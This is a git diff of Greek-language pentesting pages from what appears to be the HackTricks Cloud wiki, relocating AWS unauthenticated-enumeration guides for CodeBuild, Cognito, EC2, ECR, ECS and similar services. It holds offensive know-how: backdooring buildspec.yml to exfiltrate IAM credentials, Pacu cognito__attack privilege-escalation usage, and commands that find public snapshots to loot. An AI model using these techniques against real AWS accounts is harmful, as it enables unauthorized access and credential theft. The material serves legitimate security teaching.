Cloudfront Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Πρότυπο δημόσιας διεύθυνσης URL +``` +https://{random_id}.cloudfront.net +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md deleted file mode 100644 index b0597335f..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - CodeBuild Unauthenticated Access - -{{#include ../../../banners/hacktricks-training.md}} - -## CodeBuild - -Για περισσότερες πληροφορίες, ελέγξτε αυτή τη σελίδα: - -{{#ref}} -../aws-services/aws-codebuild-enum.md -{{#endref}} - -### buildspec.yml - -Εάν αποκτήσετε πρόσβαση εγγραφής σε ένα αποθετήριο που περιέχει ένα αρχείο με όνομα **`buildspec.yml`**, θα μπορούσατε να **backdoor** αυτό το αρχείο, το οποίο καθορίζει τις **εντολές που θα εκτελούνται** μέσα σε ένα έργο CodeBuild και να εξάγετε τα μυστικά, να συμβιβάσετε τι γίνεται και επίσης να συμβιβάσετε τα **credentials ρόλου IAM του CodeBuild**. - -Σημειώστε ότι ακόμη και αν δεν υπάρχει κανένα αρχείο **`buildspec.yml`** αλλά γνωρίζετε ότι χρησιμοποιείται το Codebuild (ή μια διαφορετική CI/CD), **η τροποποίηση κάποιου νόμιμου κώδικα** που πρόκειται να εκτελεστεί μπορεί επίσης να σας δώσει ένα reverse shell, για παράδειγμα. - -Για κάποιες σχετικές πληροφορίες, μπορείτε να ελέγξετε τη σελίδα σχετικά με το πώς να επιτεθείτε σε Github Actions (παρόμοια με αυτό): - -{{#ref}} -../../../pentesting-ci-cd/github-security/abusing-github-actions/ -{{#endref}} - -## Self-hosted GitHub Actions runners in AWS CodeBuild - -Όπως [**υποδεικνύεται στα έγγραφα**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), είναι δυνατόν να ρυθμίσετε το **CodeBuild** να εκτελεί **self-hosted Github actions** όταν ενεργοποιείται μια ροή εργασίας μέσα σε ένα ρυθμισμένο αποθετήριο Github. Αυτό μπορεί να ανιχνευθεί ελέγχοντας τη διαμόρφωση του έργου CodeBuild, επειδή ο **τύπος γεγονότος** πρέπει να περιέχει: **`WORKFLOW_JOB_QUEUED`** και σε μια ροή εργασίας Github επειδή θα επιλέξει έναν **self-hosted** runner όπως αυτός: -```bash -runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} -``` -Αυτή η νέα σχέση μεταξύ των Github Actions και AWS δημιουργεί έναν άλλο τρόπο για να παραβιαστεί το AWS από το Github, καθώς ο κώδικας στο Github θα εκτελείται σε ένα έργο CodeBuild με έναν ρόλο IAM συνδεδεμένο. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md new file mode 100644 index 000000000..3238ac7be --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md @@ -0,0 +1,33 @@ +# AWS - CodeBuild Μη αυθεντικοποιημένη Πρόσβαση + +{{#include ../../../../banners/hacktricks-training.md}} + +## CodeBuild + +Για περισσότερες πληροφορίες δείτε αυτή τη σελίδα: + +{{#ref}} +../../aws-services/aws-codebuild-enum.md +{{#endref}} + +### buildspec.yml + +Εάν αποκτήσετε write access σε ένα repository που περιέχει ένα αρχείο με όνομα **`buildspec.yml`**, θα μπορούσατε να **backdoor** αυτό το αρχείο, το οποίο καθορίζει τις **commands that are going to be executed** μέσα σε ένα CodeBuild project και να exfiltrate the secrets, compromise what is done και επίσης να compromise τα **CodeBuild IAM role credentials**. + +Σημειώστε ότι ακόμη και αν δεν υπάρχει κάποιο **`buildspec.yml`** αρχείο αλλά γνωρίζετε ότι χρησιμοποιείται το Codebuild (ή κάποιο διαφορετικό CI/CD) **modifying some legit code** που πρόκειται να εκτελεστεί μπορεί επίσης να σας δώσει ένα reverse shell για παράδειγμα. + +Για σχετικές πληροφορίες μπορείτε να δείτε τη σελίδα για το πώς να επιτεθείτε σε Github Actions (παρόμοιο με αυτό): + +{{#ref}} +../../../../pentesting-ci-cd/github-security/abusing-github-actions/ +{{#endref}} + +## Self-hosted GitHub Actions runners in AWS CodeBuild + +Όπως [**αναφέρεται στα docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), είναι δυνατό να διαμορφώσετε το **CodeBuild** ώστε να τρέχει **self-hosted Github actions** όταν ενεργοποιείται ένα workflow μέσα σε ένα διαμορφωμένο Github repo. Αυτό μπορεί να εντοπιστεί ελέγχοντας τη ρύθμιση του CodeBuild project επειδή το **`Event type`** πρέπει να περιέχει: **`WORKFLOW_JOB_QUEUED`** και σε ένα Github Workflow επειδή θα επιλέξει έναν **self-hosted** runner όπως το παρακάτω: +```bash +runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} +``` +Αυτή η νέα σχέση μεταξύ Github Actions και AWS δημιουργεί έναν ακόμη τρόπο να παραβιαστεί το AWS από το Github, καθώς ο κώδικας στο Github θα εκτελείται σε ένα έργο CodeBuild με συνημμένο ρόλο IAM. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md deleted file mode 100644 index 7b47a0c45..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ /dev/null @@ -1,44 +0,0 @@ -# AWS - Cognito Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Unauthenticated Cognito - -Το Cognito είναι μια υπηρεσία AWS που επιτρέπει στους προγραμματιστές να **παρέχουν στους χρήστες της εφαρμογής τους πρόσβαση σε υπηρεσίες AWS**. Οι προγραμματιστές θα παρέχουν **ρόλους IAM σε αυθεντικοποιημένους χρήστες** στην εφαρμογή τους (πιθανώς οι άνθρωποι θα μπορούν απλώς να εγγραφούν) και μπορούν επίσης να παρέχουν έναν **ρόλο IAM σε μη αυθεντικοποιημένους χρήστες**. - -Για βασικές πληροφορίες σχετικά με το Cognito, ελέγξτε: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### Identity Pool ID - -Οι Identity Pools μπορούν να παρέχουν **ρόλους IAM σε μη αυθεντικοποιημένους χρήστες** που απλώς **γνωρίζουν το Identity Pool ID** (το οποίο είναι αρκετά κοινό να **βρείτε**), και ένας επιτιθέμενος με αυτές τις πληροφορίες θα μπορούσε να προσπαθήσει να **πρόσβαση σε αυτόν τον ρόλο IAM** και να τον εκμεταλλευτεί.\ -Επιπλέον, οι ρόλοι IAM θα μπορούσαν επίσης να ανατεθούν σε **αυθεντικοποιημένους χρήστες** που έχουν πρόσβαση στην Identity Pool. Εάν ένας επιτιθέμενος μπορεί να **εγγραφεί ως χρήστης** ή έχει ήδη **πρόσβαση στον πάροχο ταυτότητας** που χρησιμοποιείται στην identity pool, θα μπορούσε να έχει πρόσβαση στον **ρόλο IAM που παρέχεται σε αυθεντικοποιημένους** χρήστες και να καταχραστεί τα προνόμιά του. - -[**Δείτε πώς να το κάνετε αυτό εδώ**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). - -### User Pool ID - -Από προεπιλογή, το Cognito επιτρέπει την **εγγραφή νέου χρήστη**. Η δυνατότητα εγγραφής ενός χρήστη μπορεί να σας δώσει **πρόσβαση** στην **υποκείμενη εφαρμογή** ή στον **ρόλο πρόσβασης IAM που έχει αυθεντικοποιηθεί μιας Identity Pool** που δέχεται ως πάροχο ταυτότητας το Cognito User Pool. [**Δείτε πώς να το κάνετε αυτό εδώ**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). - -### Pacu modules for pentesting and enumeration - -[Pacu](https://github.com/RhinoSecurityLabs/pacu), το πλαίσιο εκμετάλλευσης AWS, περιλαμβάνει τώρα τα modules "cognito\_\_enum" και "cognito\_\_attack" που αυτοματοποιούν την καταμέτρηση όλων των περιουσιακών στοιχείων Cognito σε έναν λογαριασμό και επισημαίνουν αδύναμες ρυθμίσεις, χαρακτηριστικά χρηστών που χρησιμοποιούνται για τον έλεγχο πρόσβασης, κ.λπ., και επίσης αυτοματοποιούν τη δημιουργία χρηστών (συμπεριλαμβανομένης της υποστήριξης MFA) και την κλιμάκωση προνομίων με βάση τροποποιήσιμα προσαρμοσμένα χαρακτηριστικά, χρησιμοποιήσιμα διαπιστευτήρια identity pool, ρόλους που μπορούν να αναληφθούν σε id tokens, κ.λπ. - -Για περιγραφή των λειτουργιών των modules, δείτε το μέρος 2 της [ανάρτησης στο blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Για οδηγίες εγκατάστασης, δείτε την κύρια σελίδα [Pacu](https://github.com/RhinoSecurityLabs/pacu). - -#### Usage - -Δείγμα χρήσης `cognito__attack` για να προσπαθήσετε να δημιουργήσετε χρήστη και όλους τους διαύλους privesc κατά ενός συγκεκριμένου identity pool και client user pool: -```bash -Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools -us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients -59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX -``` -Δείγμα χρήσης cognito\_\_enum για τη συλλογή όλων των πισινών χρηστών, πελατών πισινών χρηστών, πισινών ταυτοτήτων, χρηστών κ.λπ. που είναι ορατές στον τρέχοντα λογαριασμό AWS: -```bash -Pacu (new:test) > run cognito__enum -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md new file mode 100644 index 000000000..2388b543d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md @@ -0,0 +1,43 @@ +# AWS - Cognito Μη αυθεντικοποιημένη απογραφή + +{{#include ../../../../banners/hacktricks-training.md}} + +## Μη αυθεντικοποιημένο Cognito + +Cognito είναι μια υπηρεσία της AWS που επιτρέπει στους προγραμματιστές να **παρέχουν στους χρήστες της εφαρμογής τους πρόσβαση σε υπηρεσίες AWS**. Οι προγραμματιστές χορηγούν **IAM roles σε επαληθευμένους χρήστες** στην εφαρμογή τους (πιθανώς οι χρήστες να μπορούν απλά να εγγραφούν) και μπορούν επίσης να χορηγήσουν ένα **IAM role σε μη-επαληθευμένους χρήστες**. + +Για βασικές πληροφορίες σχετικά με το Cognito δείτε: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Identity Pool ID + +Τα Identity Pools μπορούν να χορηγήσουν **IAM roles σε μη-επαληθευμένους χρήστες** που απλώς **γνωρίζουν το Identity Pool ID** (κάτι που είναι αρκετά σύνηθες να **βρεθεί**), και ένας επιτιθέμενος με αυτή την πληροφορία θα μπορούσε να προσπαθήσει να **προσπελάσει αυτό το IAM role** και να το εκμεταλλευτεί. Επιπλέον, IAM roles μπορεί επίσης να ανατεθούν σε **επαληθευμένους χρήστες** που έχουν πρόσβαση στο Identity Pool. Εάν ένας επιτιθέμενος μπορεί να **εγγράψει έναν χρήστη** ή ήδη έχει **πρόσβαση στον identity provider** που χρησιμοποιείται στο identity pool, θα μπορούσε να αποκτήσει πρόσβαση στο **IAM role που δίνεται σε επαληθευμένους χρήστες** και να καταχραστεί τα προνόμιά του. + +[**Δείτε πώς να το κάνετε εδώ**](../../aws-services/aws-cognito-enum/cognito-identity-pools.md). + +### User Pool ID + +Από προεπιλογή το Cognito επιτρέπει την **εγγραφή νέου χρήστη**. Η δυνατότητα εγγραφής χρήστη μπορεί να σας δώσει **πρόσβαση** στην **υποκείμενη εφαρμογή** ή στο **IAM role πρόσβασης για επαληθευμένους χρήστες ενός Identity Pool** που αποδέχεται ως identity provider το Cognito User Pool. [**Δείτε πώς να το κάνετε εδώ**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). + +### Pacu modules for pentesting and enumeration + +[Pacu](https://github.com/RhinoSecurityLabs/pacu), το AWS exploitation framework, περιλαμβάνει πλέον τα modules "cognito__enum" και "cognito__attack" που αυτοματοποιούν την enumeration όλων των Cognito assets σε έναν λογαριασμό και εντοπίζουν αδύναμες ρυθμίσεις, user attributes που χρησιμοποιούνται για access control, κ.λπ., και επίσης αυτοματοποιούν τη δημιουργία χρηστών (συμπεριλαμβανομένης της υποστήριξης MFA) και το privilege escalation βασισμένο σε τροποποιήσιμα custom attributes, διαθέσιμα identity pool credentials, assumable roles σε id tokens, κ.λπ. + +Για περιγραφή των λειτουργιών των modules δείτε το μέρος 2 του [άρθρου στο blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Για οδηγίες εγκατάστασης δείτε την κύρια σελίδα του [Pacu](https://github.com/RhinoSecurityLabs/pacu). + +#### Χρήση + +Παράδειγμα χρήσης του `cognito__attack` για απόπειρα δημιουργίας χρήστη και όλων των privesc vectors απέναντι σε ένα δεδομένο identity pool και user pool client: +```bash +Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools +us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients +59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX +``` +Παράδειγμα χρήσης του cognito__enum για τη συλλογή όλων των user pools, user pool clients, identity pools, χρηστών κ.λπ. που είναι ορατά στον τρέχοντα λογαριασμό AWS: +```bash +Pacu (new:test) > run cognito__enum +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md deleted file mode 100644 index 192b8f477..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - DocumentDB Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Δημόσιο πρότυπο URL -``` -.cluster-..docdb.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md new file mode 100644 index 000000000..64e4ca3a9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md @@ -0,0 +1,9 @@ +# AWS - DocumentDB Μη πιστοποιημένη αναγνώριση + +{{#include ../../../../banners/hacktricks-training.md}} + +### Πρότυπο δημόσιου URL +``` +.cluster-..docdb.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md deleted file mode 100644 index 9ea6d8e68..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ /dev/null @@ -1,15 +0,0 @@ -# AWS - DynamoDB Μη Αυθεντική Πρόσβαση - -{{#include ../../../banners/hacktricks-training.md}} - -## Dynamo DB - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -Εκτός από την παροχή πρόσβασης σε όλους τους λογαριασμούς AWS ή σε κάποιον παραβιασμένο εξωτερικό λογαριασμό AWS, ή την ύπαρξη κάποιων SQL injections σε μια εφαρμογή που επικοινωνεί με το DynamoDB, δεν γνωρίζω περισσότερες επιλογές για πρόσβαση σε λογαριασμούς AWS από το DynamoDB. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md new file mode 100644 index 000000000..fb8b4d198 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md @@ -0,0 +1,15 @@ +# AWS - DynamoDB Μη Αυθεντικοποιημένη Πρόσβαση + +{{#include ../../../../banners/hacktricks-training.md}} + +## Dynamo DB + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +Εκτός από την παροχή πρόσβασης σε όλους τους AWS ή σε κάποιο εξωτερικό, παραβιασμένο λογαριασμό AWS, ή την ύπαρξη SQL injections σε μια εφαρμογή που επικοινωνεί με το DynamoDB, δεν γνωρίζω άλλες επιλογές για πρόσβαση σε λογαριασμούς AWS μέσω του DynamoDB. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md deleted file mode 100644 index d8fe06136..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ /dev/null @@ -1,54 +0,0 @@ -# AWS - EC2 Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 & Related Services - -Δείτε σε αυτή τη σελίδα περισσότερες πληροφορίες σχετικά με αυτό: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### Δημόσιες Θύρες - -Είναι δυνατόν να εκθέσετε **οποιαδήποτε θύρα των εικονικών μηχανών στο διαδίκτυο**. Ανάλογα με **το τι τρέχει** στην εκτεθειμένη θύρα, ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί. - -#### SSRF - -{{#ref}} -https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html -{{#endref}} - -### Δημόσιες AMIs & EBS Snapshots - -Το AWS επιτρέπει **να δίνεται πρόσβαση σε οποιονδήποτε για να κατεβάσει AMIs και Snapshots**. Μπορείτε να καταγράψετε αυτούς τους πόρους πολύ εύκολα από τον δικό σας λογαριασμό: -```bash -# Public AMIs -aws ec2 describe-images --executable-users all - -## Search AMI by ownerID -aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]' - -## Search AMI by substr ("shared" in the example) -aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]' - -# Public EBS snapshots (hard-drive copies) -aws ec2 describe-snapshots --restorable-by-user-ids all -aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' -``` -Αν βρείτε ένα στιγμιότυπο που μπορεί να αποκατασταθεί από οποιονδήποτε, φροντίστε να ελέγξετε [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) για οδηγίες σχετικά με τη λήψη και την κλοπή του στιγμιότυπου. - -#### Δημόσιο πρότυπο URL -```bash -# EC2 -ec2-{ip-seperated}.compute-1.amazonaws.com -# ELB -http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 -https://{user_provided}-{random_id}.{region}.elb.amazonaws.com -``` -### Καταμέτρηση EC2 instances με δημόσια IP -```bash -aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md new file mode 100644 index 000000000..d8e00bc66 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md @@ -0,0 +1,54 @@ +# AWS - EC2 Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 & Σχετικές Υπηρεσίες + +Δες σε αυτή τη σελίδα περισσότερες πληροφορίες σχετικά με αυτό: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### Δημόσιες Θύρες + +Είναι δυνατό να εκτεθεί **οποιαδήποτε θύρα των εικονικών μηχανών στο διαδίκτυο**. Ανάλογα με **τι τρέχει** στην εκτεθειμένη θύρα, ένας επιτιθέμενος θα μπορούσε να την εκμεταλλευτεί. + +#### SSRF + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html +{{#endref}} + +### Δημόσια AMIs & EBS Snapshots + +AWS επιτρέπει να δοθεί **πρόσβαση σε οποιονδήποτε για να κατεβάσει AMIs και Snapshots**. Μπορείς να απαριθμήσεις αυτούς τους πόρους πολύ εύκολα από τον δικό σου λογαριασμό: +```bash +# Public AMIs +aws ec2 describe-images --executable-users all + +## Search AMI by ownerID +aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]' + +## Search AMI by substr ("shared" in the example) +aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]' + +# Public EBS snapshots (hard-drive copies) +aws ec2 describe-snapshots --restorable-by-user-ids all +aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' +``` +Αν βρείτε ένα snapshot που μπορεί να επαναφερθεί από οποιονδήποτε, βεβαιωθείτε ότι θα ελέγξετε [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) για οδηγίες σχετικά με τη λήψη και το looting του snapshot. + +#### Public URL template +```bash +# EC2 +ec2-{ip-seperated}.compute-1.amazonaws.com +# ELB +http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 +https://{user_provided}-{random_id}.{region}.elb.amazonaws.com +``` +### Απαρίθμηση EC2 instances με public IP +```bash +aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md deleted file mode 100644 index b292b7ece..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ /dev/null @@ -1,30 +0,0 @@ -# AWS - ECR Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Για περισσότερες πληροφορίες, ελέγξτε: - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Δημόσιες αποθήκες μητρώου (εικόνες) - -Όπως αναφέρθηκε στην ενότητα ECS Enum, ένα δημόσιο μητρώο είναι **προσβάσιμο από οποιονδήποτε** και χρησιμοποιεί τη μορφή **`public.ecr.aws//`**. Εάν ένας επιτιθέμενος εντοπίσει μια διεύθυνση URL δημόσιας αποθήκης, θα μπορούσε **να κατεβάσει την εικόνα και να αναζητήσει ευαίσθητες πληροφορίες** στα μεταδεδομένα και το περιεχόμενο της εικόνας. -```bash -aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text -``` -> [!WARNING] -> Αυτό θα μπορούσε επίσης να συμβεί σε **ιδιωτικά μητρώα** όπου μια πολιτική μητρώου ή μια πολιτική αποθετηρίου **παρέχει πρόσβαση για παράδειγμα σε `"AWS": "*"`**. Οποιοσδήποτε με έναν λογαριασμό AWS θα μπορούσε να έχει πρόσβαση σε αυτό το αποθετήριο. - -### Καταμέτρηση Ιδιωτικού Αποθετηρίου - -Τα εργαλεία [**skopeo**](https://github.com/containers/skopeo) και [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) μπορούν να χρησιμοποιηθούν για να καταγράψουν τα προσβάσιμα αποθετήρια μέσα σε ένα ιδιωτικό μητρώο. -```bash -# Get image names -skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' -crane ls | sed 's/ .*//' -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md new file mode 100644 index 000000000..cb2463046 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md @@ -0,0 +1,30 @@ +# AWS - ECR Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Δημόσια registry αποθετήρια (εικόνες) + +Όπως αναφέρθηκε στην ενότητα ECS Enum, ένα δημόσιο registry είναι **προσβάσιμο από οποιονδήποτε** και χρησιμοποιεί τη μορφή **`public.ecr.aws//`**. Εάν ένας επιτιθέμενος εντοπίσει ένα δημόσιο URL repository, μπορεί να **κατεβάσει την εικόνα και να αναζητήσει ευαίσθητες πληροφορίες** στα metadata και στο περιεχόμενο της εικόνας. +```bash +aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text +``` +> [!WARNING] +> Αυτό μπορεί επίσης να συμβεί σε **private registries** όπου μια registry policy ή μια repository policy **χορηγεί πρόσβαση, για παράδειγμα στο `"AWS": "*"`**. Οποιοσδήποτε με λογαριασμό AWS θα μπορούσε να έχει πρόσβαση σε αυτό το repo. + +### Απαρίθμηση Private Repo + +Τα εργαλεία [**skopeo**](https://github.com/containers/skopeo) και [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) μπορούν να χρησιμοποιηθούν για να απαριθμήσουν τα repositories που είναι προσβάσιμα μέσα σε ένα private registry. +```bash +# Get image names +skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' +crane ls | sed 's/ .*//' +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md deleted file mode 100644 index c4814d172..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ /dev/null @@ -1,23 +0,0 @@ -# AWS - ECS Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Δημόσια Προσβάσιμος Ομάδα Ασφαλείας ή Load Balancer για Υπηρεσίες ECS - -Μια κακώς ρυθμισμένη ομάδα ασφαλείας που **επιτρέπει την εισερχόμενη κίνηση από το διαδίκτυο (0.0.0.0/0 ή ::/0)** στις υπηρεσίες Amazon ECS θα μπορούσε να εκθέσει τους πόρους AWS σε επιθέσεις. -```bash -# Example of detecting misconfigured security group for ECS services -aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' - -# Example of detecting a publicly accessible load balancer for ECS services -aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md new file mode 100644 index 000000000..2861f7dcd --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md @@ -0,0 +1,23 @@ +# AWS - ECS Μη Αυθεντικοποιημένη Απογραφή + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Δημόσια Προσβάσιμο Security Group ή Load Balancer για τις υπηρεσίες ECS + +Ένα λανθασμένα ρυθμισμένο security group που **επιτρέπει εισερχόμενη κίνηση από το διαδίκτυο (0.0.0.0/0 ή ::/0)** προς τις υπηρεσίες Amazon ECS μπορεί να εκθέσει τους πόρους AWS σε επιθέσεις. +```bash +# Example of detecting misconfigured security group for ECS services +aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' + +# Example of detecting a publicly accessible load balancer for ECS services +aws 